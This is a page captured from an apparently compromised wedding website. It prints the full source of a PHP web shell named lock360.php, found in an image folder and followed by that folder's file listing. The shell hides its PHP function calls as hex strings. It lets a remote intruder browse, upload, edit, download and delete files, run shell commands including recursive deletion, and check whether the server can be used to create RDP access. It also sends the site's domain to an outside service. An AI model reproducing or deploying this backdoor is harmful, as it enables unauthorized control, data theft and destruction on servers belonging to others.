Server IP : 50.63.8.133  /  Your IP : 3.17.81.40
Web Server : Microsoft-IIS/10.0
System : Windows NT P3NWVPWEB032 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : IWPD_10999(xformtec) ( 0)
PHP Version : 5.4.45
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  G:/PleskVhosts/xform.in/madhurivivah.com/about-images/slider-images/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : G:/PleskVhosts/xform.in/madhurivivah.com/about-images/slider-images/lock360.php
<?php
session_start();

$query = [
    "676574637764",
    "69735f646972",
    "69735f7772697461626c65",
    "65786563",
    "66756e6374696f6e5f657869737473",
    "7368656c6c5f65786563",
    "73797374656d",
    "7061737374687275",
    "6368646972",
    "62696e32686578",
    "6865783262696e",
    "7363616e646972",
    "696e695f736574",
    "686561646572",
    "626173656e616d65",
    "66696c657065726d73",
    "6d6f76655f75706c6f616465645f66696c65",
    "69735f66696c65",
    "68746d6c7370656369616c6368617273",
    "66696c655f7075745f636f6e74656e7473",
    "66696c655f6765745f636f6e74656e7473",
    "69735f7265616461626c65",
    "7068705f756e616d65",
    "72656e616d65",
    "756e6c696e6b",
    "66696c6574797065",
    "7365745f74696d655f6c696d6974",
    "66696c6573697a65",
    "7265616466696c65"
];

dhex(13)("X-XSS-Protection: 0");
dhex(26)(0);
error_reporting(0);
ob_start();
dhex(12)('max_execution_time', 0);
dhex(12)('output_buffering', 0);

if (version_compare(PHP_VERSION, '7.0.0', '<')) {
    set_magic_quotes_runtime(0);

    if (get_magic_quotes_gpc()) {
        function ecchi($array)
        {
            return is_array($array) ? array_map('ecchi', $array) : stripslashes($array);
        }
        $_POST = ecchi($_POST);
    }
} else {
    dhex(12)('magic_quotes_runtime', 0);
}

function w($dir, $perm)
{
    if (!dhex(2)($dir)) {
        return "<p class='text-danger'>" . $perm . "</p>";
    } else {
        return "<p class='text-success'>" . $perm . "</p>";
    }
}

function r($dir, $perm)
{
    if (!dhex(2)($dir)) {
        return "<p class='text-danger'>" . $perm . "</p>";
    } else {
        return "<p class='text-success'>" . $perm . "</p>";
    }
}

function getexist($cmd = null)
{
    if (dhex(4)('exec')) {
        $disable = dhex(3)($cmd);
    } else if (dhex(4)('shell_exec')) {
        $disable = dhex(5)($cmd);
    } else if (dhex(4)('system')) {
        $disable = dhex(6)($cmd);
    } else if (dhex(4)('passthru')) {
        $disable = dhex(7)($cmd);
    } else {
        $disable = 'Disable';
    }

    return $disable;
}

function getFileSize($path)
{
    $bytes = filesize($path);
    $units = array('B', 'KB', 'MB', 'GB');
    $unit = 0;
    while ($bytes >= 1024 && $unit < count($units) - 1) {
        $bytes /= 1024;
        $unit++;
    }
    return round($bytes, 2) . ' ' . $units[$unit];
}

function dhex($num)
{
    global $query;
    for ($i = 0; $i < count($query); $i++) {
        $dec[] = hex2bin($query[$i]);
    }

    return $dec[$num];
}


function seorank($url)
{
    $setopt = array(
        CURLOPT_URL => 'https://www.checkmoz.com/bulktool',
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => "getStatus=1&siteID=1&sitelink=$url&da=1&pa=1&alexa=1"
    );
    $ch = curl_init();
    curl_setopt_array($ch, $setopt);
    return curl_exec($ch);
    curl_close($ch);
}

function perms($file)
{
    $perms = dhex(15)($file);
    if (($perms & 0xC000) == 0xC000) {
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        $info = 'p';
    } else {
        $info = 'u';
    }
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}

function getact($dir, $file, $label)
{
?>
    <label for="<?= $label ?>" class="font-weight-bold">
        Filename : <span class="text-secondary"><?= dhex(14)($file) ?></span>
        [ <a class="text-white text-decoration-none" href="?e=view&fol=<?= dhex(10)($dir) . "&file=" . dhex(9)($file) ?>"><i class="bi bi-eye"></i></a> ]
        [ <a class="text-white text-decoration-none" href="?e=edit&fol=<?= dhex(10)($dir) . "&file=" . dhex(9)($file) ?>"><i class="bi bi-pencil-square"></i></a> ]
        [ <a class="text-white text-decoration-none" href="?e=rename&fol=<?= dhex(10)($dir) . "&file=" . dhex(9)($file) ?>"><i class="bi bi-pencil"></i></a> ]
        [ <a class="text-white text-decoration-none" href="?e=download&fol=<?= dhex(10)($dir) . "&file=" . dhex(9)($file) ?>"><i class="bi bi-download"></i></a> ]
        [ <a class="text-white text-decoration-none" href="?e=delete&fol=<?= dhex(10)($dir) . "&file=" . dhex(9)($file) ?>"><i class="bi bi-trash"></i></a> ]
    </label>
<?php
}

if (isset($_GET['fol'])) {
    if (ctype_xdigit($_GET['fol'])) {
        $dir = dhex(18)(dhex(9)(dhex(10)($_GET['fol'])));
        dhex(8)($dir);
    } else {
        $dir = dhex(18)(dhex(9)($_GET['fol']));
        dhex(8)($dir);
    }
} else {
    $dir = dhex(9)(dhex(0)());
}

$dir        = dhex(9)(str_replace("\\", "/", dhex(10)($dir)));
$scdir      = explode("/", dhex(10)($dir));
$scan       = dhex(11)(dhex(10)($dir));
$disable    = @ini_get('disable_functions');
$disable    = (!empty($disable)) ? "<font class='text-danger'>$disable</font>" : '<font style="color: #43C6AC">NONE</font>';
$os         = substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux";
$checkrdp   = ($os !== 'Windows' && getexist() !== 'Disable') ? "Can't Create RDP" : 'Vuln To Create RDP';
$rank       = seorank($_SERVER['SERVER_NAME']);
$getrank    = preg_match_all('/(.*?)<\/td>/', $rank, $get);
$check      = preg_replace('/<td>/', '', $get[1]);

?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="robots" content="nofollow, noindex, noarchive">
    <meta name="googlebot" content="nofollow, noindex, noarchive">
    <meta name="googlebot-news" content="nosnippet">

    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.datatables.net/1.11.3/css/dataTables.bootstrap5.min.css">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.1/font/bootstrap-icons.css">
    <link rel="stylesheet" href="https://naxtarrr.netlify.app/assets/css/joat.css">

    <link href="https://fonts.googleapis.com/css2?family=Macondo&display=swap" rel="stylesheet">

    <title>~D704T~</title>
</head>

<body class="bg-dark text-white">
    <div class="modal fade" id="infoModal" tabindex="-1" aria-labelledby="infoModal" aria-hidden="true">
        <div class="modal-dialog">
            <div class="modal-content bg-dark">
                <div class="modal-header">
                    <h1 class="modal-title fs-5" id="infoModal">Server Info</h1>
                    <button type="button" class="btn-close bg-danger rounded-circle" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p>
                        Rank Alexa : <span><?= $check[4] ?></span> |
                        DA : <span><?= $check[2] ?></span> |
                        PA : <span><?= $check[3] ?></span>
                    </p>
                    <p>OS : <span><?= $os ?></span></p>
                    <p>RDP : <span><?= $checkrdp ?></span></p>
                    <p>PHP Version : <span><?= PHP_VERSION ?></span></p>
                    <p>Software : <span><?= $_SERVER['SERVER_SOFTWARE'] ?></span></p>
                    <p>Information System : <span><?= dhex(22)() ?></span></p>
                    <p>Disable Function : <span class="text-wrap"><?= $disable ?></span></p>
                </div>
            </div>
        </div>
    </div>

    <div class="menu">
        <div class="btn-group dropup">
            <button type="button" class="btn btn-secondary dropdown-toggle rounded-circle" data-bs-toggle="dropdown" aria-expanded="false">
                <i class="bi bi-three-dots-vertical"></i>
            </button>
            <ul class="dropdown-menu">
                <li>
                    <label for="upfile" class="btn btn-link" id="upload">
                        <i class="bi bi-upload"></i> Upload File
                    </label>
                </li>
                <li>
                    <button type="button" class="btn btn-link" data-bs-toggle="modal" data-bs-target="#infoModal">
                        <i class="bi bi-info-circle"></i> Server Info
                    </button>
                </li>
            </ul>
        </div>

        <form method="post" enctype="multipart/form-data" class="d-none" id="upfileform">
            <input type="file" name="nax_file" id="upfile">
        </form>

        <?php
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            if (isset($_FILES['nax_file'])) {
                $filename = $_FILES['nax_file']['name'];
                if (dhex(16)($_FILES['nax_file']['tmp_name'], dhex(10)($dir) . "/" . $filename)) {
                    $mssg = "$filename Uploaded";
                    $_SESSION['msg'] = [
                        "type" => "success",
                        "message" => $mssg
                    ];
                    echo "<script>window.location = '?fol=" . $dir . "';</script>";
                    exit;
                } else {
                    $mssg = "Upload $filename Failed";
                    $_SESSION['msg'] = [
                        "type" => "error",
                        "message" => $mssg
                    ];
                    echo "<script>window.location = '?fol=" . $dir . "';</script>";
                    exit;
                }
            }
        }
        ?>
    </div>

    <a class="header" href="<?= $_SERVER['PHP_SELF'] ?>">
        D704T
    </a>

    <nav style="--bs-breadcrumb-divider: '/';" aria-label="breadcrumb" class="position-sticky top-0" id="breadcrumb">
        <div class="container">
            <ol class="breadcrumb">
                <?php
                $os = php_uname('s');
                echo (!preg_match("/Windows/", $os)) ? "<a class='font-weight-bold text-decoration-none folder' id='dir' href='?fol=/'>~</a>" : "";
                foreach ($scdir as $c_dir => $cdir) {
                    echo "<li class='breadcrumb-item'><a class='font-weight-bold text-decoration-none folder' id='dir' href='?fol=";
                    for ($i = 0; $i <= $c_dir; $i++) {
                        echo dhex(10)(dhex(9)($scdir[$i]));
                        if ($i != $c_dir) {
                            echo "/";
                        }
                    }
                    echo "'>" . $cdir . "</a></li>";
                }
                ?>
            </ol>
        </div>
    </nav>

    <div class="container">
        <div class="row justify-content-center mt-2">
            <div class="col-md-12">
                <?php
                if (isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['e'] == 'download')) {
                    $file = dhex(10)($_GET['file']);
                    @ob_end_clean();
                    dhex(13)('Content-Description: File Transfer');
                    dhex(13)('Content-Type: application/octet-stream');
                    dhex(13)('Content-Disposition: attachment; filename="' . dhex(14)($file) . '"');
                    dhex(13)('Expires: 0');
                    dhex(13)('Cache-Control: must-revalidate');
                    dhex(13)('Pragma: public');
                    dhex(13)('Content-Length: ' . dhex(27)($file));
                    dhex(28)($file);
                    exit;
                } else if ($_GET['e'] == 'delete_dir') {
                    if (dhex(1)(dhex(10)($dir))) {
                        if (dhex(2)(dhex(10)($dir))) {
                            @rmdir(dhex(10)($dir));
                            @dhex(3)("rm -rf " . dhex(10)($dir));
                            @dhex(3)("rmdir /s /q " . dhex(10)($dir));

                            $mssg = "Delete folder success";
                            $_SESSION['msg'] = [
                                "type" => "success",
                                "message" => $mssg
                            ];
                            echo "<script>window.location='?fol=" . dhex(9)(dirname(dhex(10)($dir))) . "';</script>";
                            exit;
                        } else {
                            $mssg = "Delete folder failed";
                            $_SESSION['msg'] = [
                                "type" => "error",
                                "message" => $mssg
                            ];
                            echo "<script>window.location='?fol=" . dhex(9)(dirname(dhex(10)($dir))) . "';</script>";
                            exit;
                        }
                    }
                ?>
                    <div class="form-group">
                        <div id="alert" hidden><?= $alert ?></div>
                    </div>
                <?php
                } else if ($_GET['e'] == 'rename') {
                    if ($_POST['rename']) {
                        $rename = dhex(23)(dhex(10)($_GET['file']), dhex(10)($dir) . "/" . dhex(18)($_POST['rename']));
                        if ($rename) {
                            $mssg = "Rename file success";
                            $_SESSION['msg'] = [
                                "type" => "success",
                                "message" => $mssg
                            ];
                            echo "<script>window.location='?fol=" . dhex(9)(dhex(10)($dir)) . "';</script>";
                            exit;
                        } else {
                            $mssg = "Rename file failed";
                            $_SESSION['msg'] = [
                                "type" => "error",
                                "message" => $mssg
                            ];
                            echo "<script>window.location='?fol=" . dhex(9)(dhex(10)($dir)) . "';</script>";
                            exit;
                        }
                    }
                ?>
                    <form method="POST">
                        <div class="form-group">
                            <?= getact($dir, dhex(10)($_GET['file']), 'rename') ?>
                            <input id="rename" type="text" name="rename" class="form-control bg-dark text-danger mb-2 mt-2" value="<?= dhex(14)(dhex(10)($_GET['file'])) ?>">
                        </div>
                        <div class="form-group">
                            <div id="alert" hidden><?= $alert ?></div>
                            <button class="btn btn-light form-control">Rename</button>
                        </div>
                    </form>
                <?php
                } else if ($_GET['e'] == 'rename_dir') {
                    $alert = 'Rename Directory';
                    if ($_POST['rename_dir']) {
                        $dir_rename = dhex(23)(dhex(10)($dir), "" . dirname(dhex(10)($dir)) . "/" . dhex(18)($_POST['rename_dir']) . "");
                        if ($dir_rename) {
                            $mssg = "Rename folder success";
                            $_SESSION['msg'] = [
                                "type" => "success",
                                "message" => $mssg
                            ];
                            echo "<script>window.location='?fol=" . dhex(9)(dirname(dhex(10)($dir))) . "';</script>";
                            exit;
                        } else {
                            $mssg = "Rename folder failed";
                            $_SESSION['msg'] = [
                                "type" => "error",
                                "message" => $mssg
                            ];
                            echo "<script>window.location='?fol=" . dhex(9)(dirname(dhex(10)($dir))) . "';</script>";
                            exit;
                        }
                    }
                ?>
                    <form method="POST">
                        <div class="form-group">
                            <input name="rename_dir" type="text" class="form-control bg-dark text-danger mb-2 mt-2" value="<?= dhex(14)(dhex(10)($dir)) ?>">
                        </div>
                        <div class="form-group">
                            <div id="alert" hidden><?= $alert ?></div>
                            <button type="submit" class="btn btn-light form-control">Renamed!!</button>
                        </div>
                    </form>
                <?php
                } else if ($_GET['e'] == 'delete') {
                    $delete = dhex(24)(dhex(10)($_GET['file']));
                    if ($delete) {
                        $mssg = "Success Delete File ";
                        $_SESSION['msg'] = [
                            "type" => "success",
                            "message" => $mssg
                        ];
                        echo "<script>window.location ='?fol=" . dhex(9)(dhex(10)($dir)) . "';</script>";
                        exit;
                    } else {
                        $mssg = "Delete File failed";
                        $_SESSION['msg'] = [
                            "type" => "error",
                            "message" => $mssg
                        ];
                        echo "<script>window.location ='?fol=" . dhex(9)(dhex(10)($dir)) . "';</script>";
                        exit;
                    }
                ?>
                    <div class="form-group">
                        <div id="alert" hidden><?= $alert ?></div>
                    </div>
                <?php
                } else if ($_GET['e'] == 'edit') {
                    $alert = "Edit File";
                    if ($_POST['src']) {
                        $save = dhex(19)(dhex(10)($_GET['file']), $_POST['src']);
                        if ($save) {
                            $mssg = "Edit file success";
                            $_SESSION['msg'] = [
                                "type" => "success",
                                "message" => $mssg
                            ];
                            echo "<script>window.location ='?fol=" . dhex(9)(dhex(10)($dir)) . "';</script>";
                            exit;
                        } else {
                            $mssg = "Edit file failed";
                            $_SESSION['msg'] = [
                                "type" => "error",
                                "message" => $mssg
                            ];
                            echo "<script>window.location ='?fol=" . dhex(9)(dhex(10)($dir)) . "';</script>";
                            exit;
                        }
                    }
                ?>
                    <form method="POST">
                        <div class="form-group">
                            <?= getact($dir, dhex(10)($_GET['file']), 'textarea') ?>
                            <textarea class="form-control bg-dark text-danger mb-2 mt-2" spellcheck="false" name="src" id="textarea" rows="10"><?= dhex(18)(@dhex(20)(dhex(10)($_GET['file']))) ?></textarea>
                        </div>
                        <div class="form-group">
                            <div id="alert" hidden><?= $alert ?></div>
                            <button type="submit" class="btn btn-light form-control">Save</button>
                        </div>
                    </form>
                <?php
                } else if ($_GET['e'] == 'view') {
                    $alert = "View File";
                ?>
                    <div class="form-group">
                        <?= getact($dir, dhex(10)($_GET['file']), 'file') ?>
                        <textarea class="form-control bg-dark text-danger mb-2 mt-2" id="file" rows="5" readonly><?= dhex(18)(@dhex(20)(dhex(10)($_GET['file']))) ?></textarea>
                    </div>
                    <div id="alert" hidden><?= $alert ?></div>
                <?php
                } else if ($_GET['e'] == 'newfolder') {
                    $alert = 'Create New Folder';
                    if ($_POST['new_folder']) {
                        $newfolder = dhex(10)($dir) . '/' . dhex(18)($_POST['new_folder']);
                        if (!mkdir($newfolder)) {
                            $mssg = "Create folder failed";
                            $_SESSION['msg'] = [
                                "type" => "error",
                                "message" => $mssg
                            ];
                            echo "<script>window.location='?fol=" . dhex(9)(dhex(10)($dir)) . "';</script>";
                            exit;
                        } else {
                            $mssg = "Create folder success";
                            $_SESSION['msg'] = [
                                "type" => "success",
                                "message" => $mssg
                            ];
                            echo "<script>window.location='?fol=" . dhex(9)(dhex(10)($dir)) . "';</script>";
                            exit;
                        }
                    }
                ?>
                    <form method="POST">
                        <div class="form-group">
                            <input type="text" name="new_folder" class="bg-dark text-danger form-control mb-2 mt-2" placeholder="name folder" required>
                        </div>
                        <div class="form-group">
                            <div id="alert" hidden><?= $alert ?></div>
                            <button type="submit" class="btn btn-light form-control">Submit</button>
                        </div>
                    </form>
                <?php
                } else if ($_GET['e'] == 'newfile') {
                    $alert = "Create New File";
                    if ($_POST['new_file']) {
                        $newfile = dhex(18)($_POST['new_file']);
                        $fopen = fopen($newfile, "a+");
                        if ($fopen) {
                            $mssg = "Create file success";
                            $_SESSION['msg'] = [
                                "type" => "success",
                                "message" => $mssg
                            ];
                            echo '<script>window.location = "?e=edit&fol=' . dhex(9)(dhex(10)($dir)) . '&file=' . dhex(9)($_POST['new_file']) . '";</script>';
                            exit;
                        } else {
                            $mssg = "Create file failed";
                            $_SESSION['msg'] = [
                                "type" => "error",
                                "message" => $mssg
                            ];
                            echo "<script>window.location='?fol=" . dhex(9)(dhex(10)($dir)) . "';</script>";
                            exit;
                        }
                    }
                ?>
                    <form method="POST">
                        <div class="form-group">
                            <input type="text" name="new_file" class="bg-dark text-danger form-control mb-2 mt-2" placeholder="name file" value="<?= dhex(10)($dir) . "/newfile.php" ?>" required>
                        </div>
                        <div class="form-group">
                            <div id="alert" hidden><?= $alert ?></div>
                            <button type="submit" class="btn btn-light form-control">Submit</button>
                        </div>
                    </form>
                    <?php
                }
                if (dhex(1)(dhex(10)($dir)) == true) {
                    if (!dhex(21)(dhex(10)($dir))) {
                        echo "<p class='font-weight-bold text-danger'>can't open directory. ( not readable )</p>";
                    } else {
                    ?>
                        <div class="table-responsive mt-3">
                            <table class="table table-bordered table-striped table-hover" id="table">
                                <thead class="thead-white text-white text-center">
                                    <tr>
                                        <th>Name</th>
                                        <th>Size</th>
                                        <th>Perm</th>
                                        <th>Option</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php
                                    foreach ($scan as $direc) {
                                        $dtype = dhex(25)(dhex(10)($dir) . "/$direc");
                                        if ($direc === '..') {
                                            $href = "<a class='text-decoration-none' href='?fol=" . dhex(9)(dirname(dhex(10)($dir))) . "'>$direc</a>";
                                        } else if ($direc === '.') {
                                            $href = "<a class='text-decoration-none' href='?fol=" . dhex(9)(dhex(10)($dir)) . "'>$direc</a>";
                                        } else {
                                            $href = "<a class='text-decoration-none' href='?fol=" . dhex(9)(dhex(10)($dir) . "/" . $direc) . "'>$direc</a>";
                                        }
                                        if (!dhex(1)(dhex(10)($dir) . "/$direc")) continue;
                                    ?>
                                        <tr>
                                            <td class="border-light" width="450">
                                                <i class="bi bi-folder"></i>
                                                <?= $href ?>
                                            </td>
                                            <td class="border-light text-white text-center" width="70">----</td>
                                            <td class="border-light text-center" width="80">
                                                <?= w(dhex(10)($dir) . "/$direc", perms(dhex(10)($dir) . "/$direc")) ?>
                                            </td>
                                            <td class="border-light text-danger" width="90">
                                                <div class="menu-options">
                                                    <?php if ($direc === '.' || $direc === '..') : ?>
                                                        <a class='text-decoration-none' href='?e=newfile&fol=<?= dhex(9)(dhex(10)($dir)); ?>'><i class="bi bi-file-earmark-plus"></i></a> <a class='text-decoration-none' href='?e=newfolder&fol=<?= dhex(9)(dhex(10)($dir)); ?>'><i class="bi bi-folder-plus"></i></a>
                                                    <?php else : ?>
                                                        <a class='text-decoration-none' href='?e=rename_dir&fol=<?= dhex(9)(dhex(10)($dir) . "/" . $direc); ?>'><i class="bi bi-pencil"></i></a> <button type="button" class="btn btn-link text-decoration-none p-0" href="?e=delete_dir&fol=<?= dhex(9)(dhex(10)($dir) . "/" . $direc); ?>" onclick="confirmation('<?= $direc; ?>', this)"><i class="bi bi-trash"></i></button>
                                                    <?php endif; ?>
                                                </div>
                                            </td>
                                        </tr>
                                <?php
                                    }
                                }
                            } else {
                                echo "<p class='font-weight-bold text-danger'>can't open directory.</p>";
                            }
                            foreach ($scan as $file) {
                                $infoext = pathinfo($file);
                                $ftype = dhex(25)(dhex(10)($dir) . "/$file");

                                if ($infoext['extension'] == 'php' || $infoext['extension'] == 'phtml') {
                                    $i = '<i class="bi bi-filetype-php"></i>';
                                    $ftype = 'php';
                                } else if ($infoext['extension'] == 'html' || $infoext['extension'] == 'htm') {
                                    $i = '<i class="bi bi-filetype-html"></i>';
                                    $ftype = 'html';
                                } else if ($infoext['extension'] == 'zip' || $infoext['extension'] == 'rar') {
                                    $i = '<i class="bi bi-file-earmark-zip"></i>';
                                    $ftype = ($infoext['extension'] == 'zip') ? 'zip' : 'rar';
                                } else if ($infoext['extension'] == 'jpg' || $infoext['extension'] == 'jpeg' || $infoext['extension'] == 'png') {
                                    $i = '<i class="bi bi-file-earmark-image"></i>';
                                    $ftype = 'image';
                                } else if ($infoext['extension'] == 'txt') {
                                    $i = '<i class="bi bi-filetype-txt"></i>';
                                    $ftype = 'text file';
                                } else if ($infoext['extension'] == 'css' || $infoext['extension'] == 'scss' || $infoext['extension'] == 'sass') {
                                    $i = '<i class="bi bi-filetype-css"></i>';
                                    $ftype = 'css';
                                } else if ($infoext['extension'] == 'js') {
                                    $i = '<i class="bi bi-filetype-js"></i>';
                                    $ftype = 'js';
                                } else if ($infoext['extension'] == 'json') {
                                    $i = '<i class="bi bi-filetype-json"></i>';
                                    $ftype = 'js';
                                } else if ($infoext['extension'] == 'doc' || $infoext['extension'] == 'docx') {
                                    $i = '<i class="bi bi-filetype-doc"></i>';
                                    $ftype = ($infoext['extension'] == 'doc') ? 'doc' : 'docx';
                                } else if ($infoext['extension'] == 'pdf') {
                                    $i = '<i class="bi bi-file-earmark-pdf"></i>';
                                    $ftype = 'pdf';
                                } else if ($infoext['extension'] == 'py') {
                                    $i = '<i class="bi bi-filetype-py"></i>';
                                    $ftype = 'python';
                                } else if ($infoext['extension'] == 'mp4' || $infoext['extension'] == 'mp3') {
                                    $i = ($infoext['extension'] == 'mp4') ? '<i class="bi bi-file-earmark-play"></i>' : '<i class="bi bi-file-earmark-music"></i>';
                                    $ftype = ($infoext['extension'] == 'mp4') ? 'video' : 'audio';
                                } else if ($infoext['extension'] == 'htaccess' || $infoext['extension'] == 'ini') {
                                    $i = '<i class="bi bi-gear"></i>';
                                    $ftype = ($infoext['extension'] == 'htaccess') ? 'htaccess' : 'configuration file';
                                } else {
                                    $i = '<i class="bi bi-file-earmark"></i>';
                                }

                                if (!dhex(17)(dhex(10)($dir) . "/$file")) continue;
                                ?>
                                <tr>
                                    <td class="border-light" width="450">
                                        <?= $i ?>
                                        <a class="text-decoration-none" href="?e=view&fol=<?= dhex(9)(dhex(10)($dir)) . "&file=" . dhex(9)(dhex(10)($dir) . "/$file") ?>"><?= $file ?></a>
                                    </td>
                                    <td class="text-center text-white" width="70"><?= getFileSize(dhex(10)($dir) . "/$file") ?></td>
                                    <td class="text-center" width="80">
                                        <?= w(dhex(10)($dir) . "/$file", perms(dhex(10)($dir) . "/$file")) ?>
                                    </td>
                                    <td class="text-danger border-light" width="90">
                                        <div class="menu-options">
                                            <a class="text-decoration-none" href="?e=edit&fol=<?= dhex(9)(dhex(10)($dir)) . "&file=" . dhex(9)(dhex(10)($dir) . "/$file") ?>"><i class="bi bi-pencil-square"></i></a>
                                            <a class="text-decoration-none" href="?e=rename&fol=<?= dhex(9)(dhex(10)($dir)) . "&file=" . dhex(9)(dhex(10)($dir) . "/$file") ?>"><i class="bi bi-pencil"></i></a>
                                            <button type="button" class="btn btn-link text-decoration-none p-0" href="?e=delete&fol=<?= dhex(9)(dhex(10)($dir)) . "&file=" . dhex(9)(dhex(10)($dir) . "/$file") ?>" onclick="confirmation('<?= $file; ?>', this)"><i class="bi bi-trash"></i></button>
                                            <a class="text-decoration-none" href="?e=download&fol=<?= dhex(9)(dhex(10)($dir)) . "&file=" . dhex(9)(dhex(10)($dir) . "/$file") ?>"><i class="bi bi-download"></i></a>
                                        </div>
                                    </td>
                                </tr>
                            <?php } ?>
                                </tbody>
                            </table>
                        </div>
            </div>
        </div>
    </div>

    <footer class="text-center mt-3 mb-2">
        <p>Naxtarrr - D704T Team</p>
    </footer>

    <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.2/dist/umd/popper.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.min.js"></script>
    <script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
    <script src="https://cdn.datatables.net/1.11.3/js/jquery.dataTables.min.js"></script>
    <script src="https://cdn.datatables.net/1.11.3/js/dataTables.bootstrap5.min.js"></script>

    <script>
        $(document).ready(function() {
            $('#table').DataTable({
                language: {
                    search: "_INPUT_",
                    searchPlaceholder: "Search..."
                },
                dom: '<"row"<"col-6"l><"col-6"f>><"row"<"col-12"rt>><"row"<"col-12"ip>><"clear">',
                pageLength: 10,
                lengthMenu: [
                    [5, 10, 20],
                    [5, 10, 20]
                ]
            });

            $("#upfile").change(function() {
                $("#upfileform").submit();
            });
        });

        function confirmation(item, elem) {
            Swal.fire({
                title: "<span class='text-white'>Delete " + item + "?</span>",
                html: "<span class='text-white'>This action can't be undone</span>",
                icon: "warning",
                showCancelButton: true,
                confirmButtonColor: "#37e392",
                cancelButtonColor: "#d33",
                confirmButtonText: "Delete",
                background: '#6c757d',
            }).then((result) => {
                if (result.isConfirmed) {
                    const $elem = $(elem);
                    const hrefValue = $elem.attr("href");
                    window.location = hrefValue;
                }
            });
        }
    </script>

    <?php
    if (isset($_SESSION["msg"])) :
        $msg = $_SESSION["msg"];
        $color = ($_SESSION["msg"]["type"] == "success") ? "#198754" : "#dc3545";
    ?>
        <script>
            let timerInterval;
            Swal.fire({
                position: "top-end",
                title: '<span class=\'text-white\'><?= ucfirst($msg["type"]); ?></span>',
                html: '<span class=\'text-white\'><?= $msg["message"] ?></span>',
                timer: 3000,
                timerProgressBar: true,
                background: '<?= $color; ?>',
                showConfirmButton: false,
                willClose: () => {
                    clearInterval(timerInterval);
                }
            });
        </script>
    <?php
        session_destroy();
        session_unset();
    endif;
    ?>
</body>

</html>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
March 07 2024 06:48:23
0 / 0
0777
120-SM775031.jpg
90.307 KB
June 24 2022 19:40:00
0 / 0
0666
15-SM775019.jpg
107.367 KB
June 24 2022 19:38:40
0 / 0
0666
220-SM864521.jpg
115.431 KB
June 24 2022 19:35:58
0 / 0
0666
EDP_Flyer.png
583.625 KB
June 23 2022 22:45:02
0 / 0
0666
closeup-long-bride-s-fingers-covered-with-mehndi-lying.jpg
16.1 MB
July 11 2023 00:01:16
0 / 0
0666
download.jpg
13.554 KB
June 30 2023 18:48:28
0 / 0
0666
error_log
6.193 KB
December 08 2023 12:15:02
0 / 0
0666
images (1).jpg
16.062 KB
June 30 2023 18:42:20
0 / 0
0666
lock360.php
36.261 KB
December 07 2023 12:06:23
0 / 0
0666
maxresdefault.jpg
201.167 KB
June 30 2023 19:10:38
0 / 0
0666
t.php
4.669 KB
December 07 2023 12:06:52
0 / 0
0666
we.jpg
199.756 KB
May 19 2022 12:29:44
0 / 0
0666
wee.jpg
305.046 KB
May 19 2022 12:31:02
0 / 0
0666
weee.jpg
320.327 KB
May 19 2022 12:07:02
0 / 0
0666